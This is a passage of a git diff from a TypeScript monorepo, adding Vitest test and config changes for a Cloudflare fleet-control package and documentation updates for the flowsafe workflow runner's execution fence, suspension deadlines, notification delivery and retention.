+    exportRace.growAfterSizeRead = async (path) => {
+      await actual.appendFile(path, ' select 2;');
+    };
+    try {
+      await expect(
+        exportReceipt(RECEIPT_IDENTITY, mutationFence()),
+      ).rejects.toThrow('Wrangler database export changed while being hashed');
+    } finally {
+      exportRace.growAfterSizeRead = undefined;
+    }
+    await expectExportScratchRemoved(outputPath);
+  });
+});
+
+describe('WranglerPlainWorkerProvisioningApi inventory shape', () => {
+  it('refuses a Wrangler inventory result that is not a list', async () => {
+    const subject = new WranglerPlainWorkerProvisioningApi({
+      runner: {
+        maxDurationMs: 5 * 60_000,
+        async run() {
+          return {
+            stdout: JSON.stringify({ success: true, result: 'not-a-list' }),
+            stderr: '',
+          };
+        },
+      },
+      routeApi: routeApi(),
+      // `listDatabases` reads no file, so this path is never created.
+      exportDirectory: join(tmpdir(), 'wrangler-inventory-shape'),
+      exportStore: memoryStore(),
+    });
+
+    await expect(subject.listDatabases()).rejects.toThrow(
+      'Wrangler inventory result has an invalid list shape',
+    );
+  });
+});
diff --git a/packages/fleet-control/test/wrangler-runner.test.ts b/packages/fleet-control/test/wrangler-runner.test.ts
index 505f22a3..2aaa00e1 100644
--- a/packages/fleet-control/test/wrangler-runner.test.ts
+++ b/packages/fleet-control/test/wrangler-runner.test.ts
@@ -144,7 +144,6 @@ setInterval(() => {}, 1000);
         await rm(directory, { recursive: true, force: true });
       }
     },
-    10_000,
   );
 });
 
diff --git a/packages/fleet-control/tsconfig.build.json b/packages/fleet-control/tsconfig.build.json
index 87e8ddb5..8521786e 100644
--- a/packages/fleet-control/tsconfig.build.json
+++ b/packages/fleet-control/tsconfig.build.json
@@ -7,5 +7,5 @@
     "outDir": "dist",
     "sourceMap": true
   },
-  "exclude": ["test/**/*.ts"]
+  "exclude": ["test/**/*.ts", "vitest.config.ts"]
 }
diff --git a/packages/fleet-control/tsconfig.json b/packages/fleet-control/tsconfig.json
index 2517b714..8311b333 100644
--- a/packages/fleet-control/tsconfig.json
+++ b/packages/fleet-control/tsconfig.json
@@ -4,7 +4,15 @@
     "declaration": false,
     "declarationMap": false,
     "noEmit": true,
-    "types": ["node", "vitest/globals"]
+    "types": ["node", "vitest/globals"],
+    // The package specifiers mapped here resolve to source; consumers keep the
+    // same imports against the published package.
+    "paths": {
+      "@proofoftech/fleet-control": ["./src/index.ts"],
+      "@proofoftech/fleet-control/cloudflare-control-plane": [
+        "./src/cloudflare-control-plane.ts"
+      ]
+    }
   },
-  "include": ["src/**/*.ts", "test/**/*.ts"]
+  "include": ["src/**/*.ts", "test/**/*.ts", "vitest.config.ts"]
 }
diff --git a/packages/fleet-control/typedoc.json b/packages/fleet-control/typedoc.json
index 61d270f5..d1a856f1 100644
--- a/packages/fleet-control/typedoc.json
+++ b/packages/fleet-control/typedoc.json
@@ -2,6 +2,7 @@
   "$schema": "https://typedoc.org/schema.json",
   "entryPoints": [
     "src/index.ts",
+    "src/cloudflare-control-plane.ts",
     "src/workers/dispatch.ts",
     "src/workers/outbound.ts",
     "src/workers/audit-consumer.ts"
@@ -11,6 +12,7 @@
   "name": "@proofoftech/fleet-control",
   "excludeExternals": true,
   "excludeInternal": true,
+  "intentionallyNotExported": ["R2_JURISDICTIONS"],
   "validation": {
     "notExported": true,
     "invalidLink": true,
diff --git a/packages/fleet-control/vitest.config.ts b/packages/fleet-control/vitest.config.ts
index 43e56f45..37fbb3f9 100644
--- a/packages/fleet-control/vitest.config.ts
+++ b/packages/fleet-control/vitest.config.ts
@@ -1,7 +1,31 @@
-import { defineConfig } from 'vitest/config';
+import { configDefaults, defineConfig } from 'vitest/config';
 
 export default defineConfig({
   test: {
     include: ['test/**/*.test.ts'],
+    // The two direct scenario suites belong to the root project
+    // `fleet-control-direct-scenario` (vitest.direct-scenario.config.ts),
+    // which the package `test` script runs after this config and CI runs in
+    // its own job beside `verify-core`. Listing them here as well would run
+    // them twice under `pnpm test`. That project is standalone: an option added
+    // here does not reach those two suites, so an option both projects need is
+    // written in both files.
+    exclude: [
+      ...configDefaults.exclude,
+      'test/direct-credentialed-scenario.test.ts',
+      'test/direct-reference-fence.harness.test.ts',
+    ],
+    // Timeouts here bound hangs, not durations: no title asserts its own
+    // duration, and the in-body watchdogs, races, and vi.waitFor bounds a few
+    // titles carry are hang detectors, not budgets. Titles that sleep through
+    // the Cloudflare SDK's retry backoff, and titles that do real
+    // scratch-directory work while the forks pool shares the machine, run past
+    // vitest's 5 s default inside the full package suite (5.3 s at the slowest
+    // observed), so this default clears them. Suites that drive real workerd
+    // set their own caps above this; the deliberately tight per-title caps
+    // that sit below it say so where they stand. hookTimeout stays at vitest's
+    // 10 s: the hooks that boot or close workerd set their own, and the rest
+    // are per-test teardowns that never touch workerd.
+    testTimeout: 20_000,
   },
 });
diff --git a/packages/fleet-control/vitest.direct-scenario.config.ts b/packages/fleet-control/vitest.direct-scenario.config.ts
new file mode 100644
index 00000000..3608251a
--- /dev/null
+++ b/packages/fleet-control/vitest.direct-scenario.config.ts
@@ -0,0 +1,30 @@
+import { defineConfig } from 'vitest/config';
+
+// The direct credentialed scenario and the offline fence suite drive the
+// reference and tenant Workers through full scenario runs on local workerd;
+// the pair needs the breakwater, flowsafe and fleet-control dists (the suites
+// import @proofoftech/flowsafe subpaths that resolve into flowsafe's dist, and
+// the observations module imports the fleet-control package). They are a root
+// project of their own so CI can run them in the `direct-scenario` job beside
+// `verify-core`, while `pnpm test` at the root and the package `test` script
+// still run them with everything else. The package project (vitest.config.ts)
+// excludes the same two files. This configuration sits in the package rather
+// than at the root because its include paths resolve against this directory
+// and the package `test` script runs it by that path.
+// The project name below is the one the root scripts
+// `test:without-direct-scenario` and `test:direct-scenario` select. The root
+// control in `scripts/architecture-positive-controls.test.mjs` pins the same
+// literal, and `test:without-direct-scenario` runs that control through
+// `pnpm run architecture:check`, so a name that drifts fails there.
+export default defineConfig({
+  test: {
+    name: 'fleet-control-direct-scenario',
+    include: [
+      'test/direct-credentialed-scenario.test.ts',
+      'test/direct-reference-fence.harness.test.ts',
+    ],
+    // Same hang bound as the package project, written out here because this
+    // project inherits nothing from vitest.config.ts.
+    testTimeout: 20_000,
+  },
+});
diff --git a/packages/flowsafe/README.md b/packages/flowsafe/README.md
index 874b0ce5..b26358de 100644
--- a/packages/flowsafe/README.md
+++ b/packages/flowsafe/README.md
@@ -25,7 +25,7 @@ Compatibility:
 - Node.js 22.13.0 or later (engine range `>=22.13.0`)
 - ESM only
 - TypeScript `moduleResolution: "NodeNext"`, `"Node16"`, or `"Bundler"`
-- `@mastra/core` `1.53.0`
+- `@mastra/core` `1.53.0`, with the patch this package ships under `patches/` applied at your application root — see [Apply the flowsafe patch to @mastra/core](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/getting-started.md#apply-the-flowsafe-patch-to-mastracore)
 - `react` and `react-dom` `>=18 <20` (React 18 or 19) for the optional approval UI
 - `@proofoftech/breakwater` `>=0.13.0 <1.0.0` when used
 - host-provided Wrangler `>=4.118 <5` for the optional `flowsafe-provision` CLI
@@ -38,6 +38,8 @@ Compatibility:
 | `@proofoftech/flowsafe/agent-host` | Server-only guarded-agent catalogs, authenticated run routes, thread hosting, NDJSON observation, and approval-only resume |
 | `@proofoftech/flowsafe/approval-api` | Approval records, actor resolver, service, deployment store, REST router, grants, SLA, retention, notifications, and stream events |
 | `@proofoftech/flowsafe/do-runner` | Durable Object runner, D1 storage, deployment sentinel, run summaries, snapshot provenance, identities, pub/sub, and retention |
+| `@proofoftech/flowsafe/do-runner/constants` | Suspension deadline values, duration validation, and timeout detection |
+| `@proofoftech/flowsafe/do-runner/testing` | Timeout resume fixtures for workflow tests |
 | `@proofoftech/flowsafe/approval-ui` | Styling-library-agnostic React dashboard, DOM-free API client, headless hook, and live transport |
 | `@proofoftech/flowsafe/host-kit` | Authenticator and verifier seams, topologies, run/stream routers, approval bridges, and composed Worker |
 | `@proofoftech/flowsafe/host-kit/module` | Import-safe workflow module contract |
@@ -101,7 +103,7 @@ export class AppRunner extends DurableObjectRunner<Env> {
 }
 ```
 
-`init()` creates D1-backed Mastra storage from the conventional `DB` binding unless you inject storage. Workflow definitions use the same `createWorkflow()` and `createStep()` shape as Mastra. Flowsafe pins `@mastra/cloudflare-d1` 1.1.1 because the shipped D1 storage is written against that release's domain surface: it subclasses the adapter's background-tasks domain to apply the `TaskFilter.resourceId` predicate the adapter declares but omits from its SQL builder, and hand-writes the schedules, notifications, and thread-state domains the adapter does not ship at all. The pin also holds the adapter on its `@cloudflare/workers-types` v4 peer, which is the major Flowsafe and Agent Starter still build against.
+`init()` creates D1-backed Mastra storage from the conventional `DB` binding unless you inject storage. Workflow definitions use the same `createWorkflow()` and `createStep()` shape as Mastra. Flowsafe pins `@mastra/cloudflare-d1` 1.1.1 because the shipped D1 storage is written against that release's domain surface: it subclasses the adapter's background-tasks domain to apply the `TaskFilter.resourceId` predicate the adapter declares but omits from its SQL builder, and hand-writes the schedules, notifications, and thread-state domains the adapter does not ship at all. The pin also holds the adapter on its `@cloudflare/workers-types` v4 peer, which is the major Flowsafe still builds against.
 
 If the deployment uses a table prefix, pass one shared constant to storage and host maintenance:
 
@@ -176,7 +178,7 @@ A suspended step can carry its own deadline. It arms one by adding the reserved
 import {
   isSuspensionTimeoutResumeData,
   SUSPENSION_DEADLINE_PAYLOAD_KEY,
-} from '@proofoftech/flowsafe/do-runner';
+} from '@proofoftech/flowsafe/do-runner/constants';
 import { z } from 'zod';
 
 const gate = createStep({
@@ -200,7 +202,11 @@ const gate = createStep({
 });
 ```
 
-The value is relative milliseconds between `MIN_SUSPENSION_DEADLINE_MS` and `MAX_SUSPENSION_DEADLINE_MS`. A step that declares a Zod `suspendSchema` must declare the reserved field or use a loose object, because Mastra substitutes the parsed suspend payload and a strict schema strips unknown keys. A step that declares a `resumeSchema` must accept the timeout envelope as well as its own signal shape, or the timeout resume fails validation and the deadline is abandoned after the runner's retries. The timeout resume delivers `SUSPENSION_TIMEOUT_RESUME_KEY` wrapping the expired step, its deadline, and the expiry time; branch on `isSuspensionTimeoutResumeData()` instead of the literal key, and build the same envelope in your own tests from that key and the `SuspensionTimeoutEnvelope` and `SuspensionTimeoutResumeData` types. Only the runner mints it: a resume request that carries the reserved key is rejected. It records `requestedByKind: 'system'` with the reserved `SUSPENSION_DEADLINE_PRINCIPAL_ID`, and it is not an approval decision: it mints no grant and records no reviewer.
+Use `isArmableSuspensionDeadlineMs(value)` to validate relative milliseconds against the runner's safe-integer and inclusive duration bounds. Import it, those duration bounds and the reserved payload keys from `@proofoftech/flowsafe/do-runner/constants` to avoid loading the runner graph; the per-run cap `MAX_SUSPENSION_DEADLINES_PER_RUN` comes from `@proofoftech/flowsafe/do-runner`. A step declaring a Zod `suspendSchema` must declare the reserved field or use a loose object, because Mastra replaces the suspend payload with parsed output. Its `resumeSchema` must accept the timeout envelope as well as the signal shape.
+
+For workflow tests, import `suspensionTimeoutResumeData` from `@proofoftech/flowsafe/do-runner/testing` and call it with `{ step, deadlineAt }` and an expiry time. It returns the alarm's envelope shape; `isSuspensionTimeoutResumeData` checks that shape without authenticating its origin. Public resume requests containing the reserved key are rejected. Alarm resumes record system provenance and do not grant approval.
+
+Import `suspensionDeadlinesOf` from `@proofoftech/flowsafe/do-runner` to inspect a `RunSummary`. It returns derived entries and rejected requests without scheduling a wake or mutating the summary. See the [acceptance rules](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/do-runner-design.md#inspect-and-test-suspension-deadlines).
 
 Only a top-level suspended step can arm a deadline. A step suspended inside a nested workflow is reported under the nested path while its suspension time is recorded against the enclosing step, so there is nothing to fence the resume against; the deadline is refused and logged instead of armed.
 
@@ -302,9 +308,19 @@ Fleet control planes can import the same fail-closed sentinel implementation fro
 
 One Flowsafe deployment is one tenant, so the execution fence controls the complete deployment. `open` admits all work. `draining` refuses new run mints and future-work authoring while existing runs and deliveries finish. It still accepts new background-task enqueues and dispatches queued tasks because both are drainable work. Background-task enqueue, dispatch, and stale-task re-drive are refused in `migration-locked` and `proof-only`. Signal wakes that would mint a run persist instead. `migration-locked` refuses execution, and `proof-only` admits only the nominated start and its bound run. The fence never preempts compute already in flight.
 
-Provisioning requires `--initial-fence-state open` or `--initial-fence-state migration-locked`; it never chooses a default. A pre-0.20 database without a fence row reads as `open`. For locked-at-birth provisioning, read `GET /admin/execution-fence` afterward and fail unless it reports `migration-locked`.
+Provisioning requires `--initial-fence-state open` or `--initial-fence-state migration-locked`; it never chooses a default. An absent pre-0.20 table or empty five-column legacy table reads as optional `open`. Initialization adds epoch/revision metadata without reopening existing state. A missing row once any metadata column exists is unreadable and is never silently refilled. For locked-at-birth provisioning, read `GET /admin/execution-fence` afterward and fail unless it reports `migration-locked`.
+
+Administrative readings include `mutationEpoch`, `requireMutationEpoch`, and `transitionRevision`. Upgraded commands compare expected state, epoch, and revision; exact retries preserve proof bindings and timestamps while that command remains the last applied command. Advancing the epoch also sets its sticky requirement; ordinary lock, proof, and reopen transitions preserve both. Upgrade the deployment's writers and configure their trusted artifact epoch before activation. See the [administration contract](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/deployment-reference.md#control-plane-routes) for request fields, compatibility, and conflicts.
+
+The `do-runner` and `host-kit` entry points export `normalizeRunExecutionIdentity`, `normalizeD1RunExecutionIdentity`, `normalizeStartIdentity`, `normalizeStartExecutionIdentity`, and mutation-epoch validation/header helpers. They copy validated identity data without authenticating it. String D1 prefixes normalize to lowercase; null explicitly means no D1 namespace and differs from the empty default prefix.
+
+New reservations are unbound until an exact winning claim or an observed result binds their physical execution. Runtime generates a separate execution token for each new run generation, and proof-only re-entry compares its namespace, workflow, run and generation. Stored `proofExecution` stays server-side and is omitted from admin JSON.
 
-Use `GET /admin/inventory` while the fence remains `draining`. A drain is proven only after every work category is empty across two complete sweeps at least 60 seconds apart. Readings are point-in-time observations rather than snapshots and can move in either direction while draining admits work. Empty results cannot over-count, and keyset pagination never skips a row that existed before the sweep began. If you need a hard guarantee, re-sweep once after transitioning to `migration-locked`: an empty post-lock sweep is conclusive; a non-empty one means work is still outstanding, either because it entered after the proof or because the lock parked it before it finished. Return to `draining` and repeat the proof. An inventory read taken under `migration-locked` measures what the fence parked rather than what the deployment would otherwise be doing. Schedules and signal subscriptions are standing configuration and need not empty. Persisted idle signals are deliberately unenumerable and carry into the replacement deployment.
+D1 schedule mutations enforce the captured caller epoch at their final SQL boundary. A fenced custom facade must provide `FENCED_SCHEDULE_STORAGE` on the same database as its configured fence. Direct D1 methods require `batch()` and accept a trailing `MutationEpochContext`; omission refuses after activation. Pause/delete and HTTP no-ops retain epoch checks. Use the [schedule guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/durable-agents.md#add-schedules) for fixed pause/resume methods, custom facade compatibility and uncertain-write outcomes.
+
+With a configured fence, Runtime requires the actual D1 domain's positive initial-write witness before engine entry. Without a fence, capable D1 keeps its real namespace and ordinary persistence behavior; custom storage explicitly asserts no D1 namespace. Managed hosts persist preparation journals and require a matching nonpending durable outcome before acknowledging execution. A valid pending generation returns `RUN_START_PENDING` with status 503; keyed retries use the idempotent-start refusal contract. See the [runner design](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/do-runner-design.md#execution-fence-and-start-reservations) for exact claims, replay and recovery.
+
+Use `GET /admin/inventory` while the fence remains `draining`. A drain is proven only after every work category is empty across two complete sweeps at least 60 seconds apart. A pending agent-inbox notification scheduled for later, or carrying no due timestamp, is work and keeps the proof open. Readings are point-in-time observations rather than snapshots and can move in either direction while draining admits work. Empty results cannot over-count, and keyset pagination never skips a row that existed before the sweep began. If you need a hard guarantee, re-sweep once after transitioning to `migration-locked`: an empty post-lock sweep is conclusive; a non-empty one means work is still outstanding, either because it entered after the proof or because the lock parked it before it finished. Return to `draining` and repeat the proof. An inventory read taken under `migration-locked` measures what the fence parked rather than what the deployment would otherwise be doing. Schedules and signal subscriptions are standing configuration and need not empty. Persisted idle signals are deliberately unenumerable and carry into the replacement deployment.
 
 ### Runtime ids are opaque
 
@@ -312,6 +328,23 @@ The host mints opaque, path-safe run and thread ids. `RunnerRuntime.start()` req
 
 Callers that need exactly-once start behavior supply an `idempotencyKey`, never a run ID. The key is available on `POST /runs`, trusted agent-host starts, and `streamUntilPersisted()`. A retry returns the same persisted run. `IDEMPOTENT_START_PENDING` includes `pendingSince`; re-probe the point-in-time `IDEMPOTENT_START_UNRESOLVABLE` result before acting. A key remains valid until its reservation-retention horizon expires.
 
+### Pass application context at start
+
+An authenticated `POST /runs` can supply a non-reserved application context:
+
+```json
+{
+  "workflowId": "publish",
+  "inputData": { "topic": "release notes" },
+  "idempotencyKey": "publish-request-123",
+  "requestContext": { "app.agentId": "agent_123" }
+}
+```
+
+`requestContext` must be an object when present. Invalid shapes and reserved keys return HTTP 400 with `reason: "reserved-context-key"`. The router validates it after authentication and workflow authorization, then passes it to the host's `beforeStart` policy. Use that hook for application-specific attribution rules; possession of a run token does not establish an arbitrary context value's business meaning.
+
+The protected topology carries this value into `storedRequestContext`. Provider application values override stored values, while trusted execution identity and capabilities retain their authority. Verified schedule targets supply their own context, including an omitted value. Persisted application values survive resume; a keyed replay retains the winning run's context and still performs validation and host policy checks. See the [request-context guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/do-runner-design.md#request-context) and [host policy signatures](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/deployment-reference.md#host-composition).
+
 ### Stores are deployment-wide
 
 `D1ApprovalStoreFactory.store()` and `D1SubscriptionStoreFactory.store()` return the store for the bound database. Tables and indexes contain no tenant column. Legacy pooled schemas require a fresh database.
@@ -406,13 +439,21 @@ Agent event replay lasts only as long as the configured Mastra cache. The defaul
 
 ### Signals and notifications
 
-`createThreadSignalRoutes()` hosts message, queue, signal, state, and notification delivery in the thread Durable Object. `createSignalRouter()` is the Worker trust boundary: authenticate, authorize, ownership-check, cap, parse, reject memory ids, allowlist attributes, rate-limit, audit, then forward.
+`createThreadSignalRoutes()` hosts message, queue, signal, state, and notification delivery in the thread Durable Object. `createSignalRouter()` authenticates Worker requests before reaching those routes. Its optional `validateThreadTarget` uses the existing `BoundThreadTargetValidator` type for host-specific binding or ownership restrictions. See the [signal-ingress guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/durable-agents.md#expose-signal-ingestion) for strict-owner composition.
+
+Signal acceptance is audited after the downstream response succeeds. Thread refusals with status 404 use a consistent public response across registry, validator and downstream checks. An audit-sink failure retains the selected response.
 
 The thread routes reject a signal whose `tagName` is not an XML name, and drop an attributes object carrying a value Mastra cannot render or a key that is not an XML name. Both are what core would otherwise throw on while rendering the signal inside the agent turn.
 
 Configure `ThreadSignalRoutesOptions.contentPolicy` when signal content needs a domain policy before it becomes model input. The Thread Durable Object invokes this structural callback for direct ingestion, provider delivery, schedule fires, and notification dispatch. Its `text` is Mastra's canonical escaped XML representation. A denial stops direct delivery with 422, settles a scheduled fire as discarded, or terminally discards the affected notification.
 
-A policy failure is opaque, and each lane recovers the way it already recovers from any other failure: direct delivery returns 503, schedule state is left unsettled so the lease expires and a later tick retries, and notification dispatch uses its existing backoff. A webhook whose matched deliveries the deployment could not decide is answered with 503 so the provider's own at-least-once redelivery recovers it; each delivery carries a dedupe key derived from the signed bytes and the subscription, so a redelivery coalesces into a still-pending row rather than duplicating it. A content denial is terminal and answers 2xx, because redelivering the identical bytes would only be denied again. Poll deliveries report the same three outcomes and depend on the adapter re-reporting state it has not seen accepted. Give a network-backed policy its own timeout and failure budget inside the callback; FlowSafe imposes neither.
+A policy failure is opaque: direct delivery returns 503, schedule state is left unsettled so the lease expires and a later tick retries, and notification dispatch records a bounded retry. A webhook whose matched deliveries the deployment could not decide is answered with 503 so the provider's own at-least-once redelivery recovers it; each delivery carries a dedupe key derived from the signed bytes and the subscription, so a redelivery coalesces into a still-pending row rather than duplicating it. A content denial is terminal and answers 2xx, because redelivering the identical bytes would only be denied again. Poll deliveries report the same three outcomes and depend on the adapter re-reporting state it has not seen accepted. Give a network-backed policy its own timeout and failure budget inside the callback; FlowSafe imposes neither.
+
+Configure the same positive safe-integer `maxDeliveryAttempts` on `createNotificationDispatchTick()` and `createThreadSignalRoutes()`. Both default to `DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS`. A recorded failure at the bound discards the notification with `deliveryReason: "delivery-attempts-exhausted"`, retaining its count and last error. An already-exhausted row is never sent; its discard is conditional on the observed record remaining current. Below the bound, existing retry delays apply.
+
+Dispatch requires `NotificationDeliveryStorage`; `D1NotificationsStorage` implements it. A custom store's `updateNotificationDeliveryIfUnchanged()` must compare the captured observation and apply the failure patch atomically against its other writers. Ordinary Core storage still serves notification ingestion; the `@mastra/core` patch is required for either path. See the [delivery and receipt guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/durable-agents.md#bound-notification-delivery) for custom-store migration, lost responses and receipt retention.
+
+Summary source counts and a configured source delivery policy read own properties only where the shipped `@mastra/core` patch is applied; without it a source named after an `Object.prototype` member is miscounted in the summary core renders and selects an inherited policy entry instead of the configured priority or default action. Flowsafe refuses notification ingestion and dispatch on an unpatched install, and refuses to construct a notification dispatch tick that does delivery work.
 
 Adapt Breakwater without adding a FlowSafe runtime dependency on it:
 
@@ -495,6 +536,10 @@ Complete wiring is in the [durable-agents guide](https://github.com/ProofOfTechO
 
 The composed `createFlowsafeWorker()` owns the shared route and maintenance-duty pipeline. Hosts inject workflows, identity verification, topology-backed optional routers, budget wrappers, notification transport, an invocation-scoped artifact-store factory, the storage table prefix, schedule tick, and extra purge duties.
 
+Configure `mutationEpoch` with a nonnegative safe integer or a synchronous environment callback. The Worker captures it before deployment verification or authentication, then forwards it through trusted contexts and protected internal headers. Start paths preserve the original actor, principal, epoch and selectors across waits, including class-backed context method receivers. Do not accept the epoch from public headers or start JSON.
+
+The internal durable-agent host start requires an eighth `AgentStartAuthority` argument, with an explicit `onPreparedStartIdentity` property. Built-in hosts supply `undefined` while Runtime and owner journals remain v1. This transport does not activate final-write epoch checks or managed recovery; the [deployment reference](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/deployment-reference.md#configure-the-trusted-caller-epoch) and [durable-agents guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/durable-agents.md) describe the boundary.
+
 Protect `GET` and `POST /admin/execution-fence` plus `GET /admin/inventory` with a distinct `MAINTENANCE_ADMIN_SECRET`. Fence transitions use CAS and return `409` with `FENCE_CAS_CONFLICT` when the expected state is stale. Fenced execution returns `503` with an `EXECUTION_FENCED` reason. The agent-host and stream routers preserve structured `503` and `409` refusals instead of collapsing them to a generic `500`.
 
 Every leaf option that accepts `ExecutionFenceWiring` requires an explicit store or `'none'`. Run-router, agent-thread-topology, and storage initialization also require explicit start-idempotency wiring. Use `'none'` only when no database exists. `BackgroundTaskHost` no longer exposes its manager; call `enqueue()`, `getTask()`, `listTasks()`, or `stream()` on the host and use `BackgroundTaskReads` for read-only route composition.
@@ -544,3 +589,5 @@ pnpm --filter @proofoftech/flowsafe spike:verify:llm
 ## License
 
 Apache-2.0.
+
+`patches/@mastra__core@1.53.0.patch` is a modification of `@mastra/core` `1.53.0`, which is licensed under Apache-2.0 and copyright its authors. It changes that package's published runtime chunks to correct the two defects reported as mastra-ai/mastra#23693 and mastra-ai/mastra#23694.
diff --git a/packages/flowsafe/deploy/README.md b/packages/flowsafe/deploy/README.md
index d8504868..48106e18 100644
--- a/packages/flowsafe/deploy/README.md
+++ b/packages/flowsafe/deploy/README.md
@@ -42,6 +42,8 @@ Run and thread ids are server-minted opaque values. Resource ids are validated h
 
 ## Deploy the Worker
 
+Apply the `@mastra/core` patch flowsafe ships at your application root before deploying — see [Apply the flowsafe patch to @mastra/core](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/getting-started.md#apply-the-flowsafe-patch-to-mastracore).
+
 Run these commands from `packages/flowsafe`:
 
 ```bash
@@ -173,13 +175,15 @@ After deployment, authenticate `POST /admin/ensure-maintenance` with `MAINTENANC
 
 - `sweepSLA(store, ...)` scans the deployment approval store and escalates open requests past `slaDeadlineAt`. It is maintenance code, not an HTTP service method.
 - `sweepExpiredRunDeadlines()` enumerates a bounded set of expired runs and routes each compare-and-swap transition through its owner Durable Object.
-- `purgeExpiredWorkflowRuns()` deletes terminal snapshots in bounded batches. Suspended and running runs remain at every age.
+- `purgeExpiredWorkflowRuns()` scans terminal snapshots and spent start keys in bounded pages. The maintenance Durable Object persists its scan cursor across alarms and restarts.
 - `purgeExpiredApprovals()` deletes approved and rejected records. Pending, claimed, and escalated requests remain.
 - `purgeExpiredThreads()` is optional. It deletes an idle thread with its messages and leaves working-memory resources intact.
 
 Build the retention `R2ArtifactStore` from the current invocation binding with `artifactStore: (env) => new R2ArtifactStore(env.ARTIFACTS)`, using the same bucket as runtime writes. Snapshot rows are the enumerable record of artifact keys, so artifacts delete before the corresponding row. Factory or deletion failure keeps the row for retry.
 
-If storage uses `tablePrefix`, configure the identical value as `storageTablePrefix` on `createFlowsafeWorker()`. The host accepts an empty prefix or a safe SQL identifier prefix of at most 39 characters that starts with an ASCII letter or underscore and continues with ASCII letters, numbers, or underscores. The limit keeps every final Mastra table identifier within 63 characters. It applies the prefix to workflow-run, thread, background-task, notification, thread-state, and schedule-trigger purges. All six exported low-level purge functions validate the same contract before preparing D1 statements. The host does not auto-discover a prefix or apply it to fixed-schema Flowsafe tables.
+Custom purge callers must provide transactional `database.batch()`, persist `advanceCursor` updates, and pass the saved cursor into subsequent calls. Cursor persistence failure stops the run-retention phase; sibling purge duties keep their independent failure handling. See [Retention](../../../docs/do-runner-design.md#retention) for the direct-call contract and generation/namespace limits.
+
+If storage uses `tablePrefix`, configure the identical value as `storageTablePrefix` on `createFlowsafeWorker()`. Use the prefix contract documented by `createD1Storage()`. A valid retention cursor from a different namespace configuration starts a fresh managed scan; a malformed cursor records a retention failure.
 
 Schedules, subscriptions, resources, and working memory have no TTL. The schedule and subscription routes delete their records explicitly. Resources and permanent thread teardown remain host-owned: remove every authoritative binding and wake source before releasing the corresponding ownership claims. Idle-thread retention deletes memory rows but deliberately keeps those claims. Deployment decommissioning removes whatever remains. Open approvals and live runs are never age-purged and remain until they reach a terminal state or the deployment is decommissioned. There is no in-database organization purge.
 
diff --git a/packages/flowsafe/deploy/worker.e2e.test.ts b/packages/flowsafe/deploy/worker.e2e.test.ts
index 52e3919d..ffd832ba 100644
--- a/packages/flowsafe/deploy/worker.e2e.test.ts
+++ b/packages/flowsafe/deploy/worker.e2e.test.ts
@@ -51,8 +51,10 @@ import {
 } from '../src/do-runner/index.js';
 import {
   createFlowsafeWorker,
+  type MaintenancePurgeDutyContext,
   staticTokenVerifier,
 } from '../src/host-kit/index.js';
+import { durableKeyValueStorageFixture } from '../test-support/durable-key-value-storage.js';
 import {
   openSqlite,
   type SqliteDatabase,
@@ -78,17 +80,39 @@ const maintenanceWorker = createFlowsafeWorker<Env>({
   },
 });
 
+// One context per maintenance invocation, as the shipped template's
+// FlowsafeMaintenance DO gives the seam: it supplies the retention cursor and
+// the callback that advances it from its own storage, so a caller driving the
+// seam directly owns both. The purge duty requires the callback — a context
+// without it refuses the invocation before any purge surface runs — and the
+// cursor it writes back is what the per-invocation case below reads.
+function retentionContext(): MaintenancePurgeDutyContext {
+  const context: MaintenancePurgeDutyContext = {
+    advanceRetentionCursor: async (cursor) => {
+      context.retentionCursor = structuredClone(cursor);
+    },
+  };
+  return context;
+}
+
 async function runMaintenanceDuty(
   duty: 'sweep' | 'purge',
   env: Env,
 ): Promise<void> {
+  // The sweep reads no cursor, so it takes no context; the purge takes its own.
+  if (duty === 'purge') {
+    await maintenanceWorker.runMaintenanceDuty(duty, env, retentionContext());
+    return;
+  }
   await maintenanceWorker.runMaintenanceDuty(duty, env);
 }
 
 // In-process DO namespace: idFromName carries the name, get() memoizes a REAL
-// FlowsafeRunner per name with a stub state exposing that identity — the same
-// `{ id: { name } }` shape durable-object.ts documents for node tests, so
-// request identity and deployment identity assertions both execute for real.
+// FlowsafeRunner per name over a stub state carrying that identity and an
+// in-memory DurableKeyValueStorage. Request identity and deployment identity
+// assertions execute against the real guards, and the run-owner recovery
+// journal the start path writes has the storage it requires — a storage-less
+// state fails that journal's prepared phase.
 function fakeRunnerNamespace(getEnv: () => Env): DurableObjectNamespace {
   const instances = new Map<string, FlowsafeRunner>();
   const namespace = {
@@ -97,8 +121,14 @@ function fakeRunnerNamespace(getEnv: () => Env): DurableObjectNamespace {
       fetch: async (input: string, init?: RequestInit) => {
         let runner = instances.get(id.name);
         if (!runner) {
+          // The fixture's alarm members are required and unread here: the
+          // runner refuses to arm the run-owner journal on a storage that
+          // cannot set an alarm, while these cases assert nothing about when a
+          // wake is scheduled.
+          const { storage } = durableKeyValueStorageFixture();
           const state = {
             id: { name: id.name },
+            storage,
           } as unknown as DurableObjectState;
           runner = new FlowsafeRunner(state, getEnv());
           instances.set(id.name, runner);
@@ -879,7 +909,16 @@ describe('deploy worker alarm-owned maintenance duties', () => {
     const surfaces = errorSpy.mock.calls
       .map(([line]) => String(line))
       .filter((line) => line.includes('maintenance-error'));
-    expect(surfaces.some((line) => line.includes('sla-sweep'))).toBe(true);
+    // The assertion below names the cause this case injected, not just the
+    // surface: a fixture-shaped failure — a context with no cursor callback, a
+    // table the fixture never created — reaches the same surface, and a bare
+    // surface check passes while the isolation under test was never exercised.
+    expect(
+      surfaces.some(
+        (line) =>
+          line.includes('sla-sweep') && line.includes('approval store down'),
+      ),
+    ).toBe(true);
     errorSpy.mockRestore();
   });
 
@@ -929,22 +968,38 @@ describe('deploy worker alarm-owned maintenance duties', () => {
     const surfaces = errorSpy.mock.calls
       .map(([line]) => String(line))
       .filter((line) => line.includes('maintenance-error'));
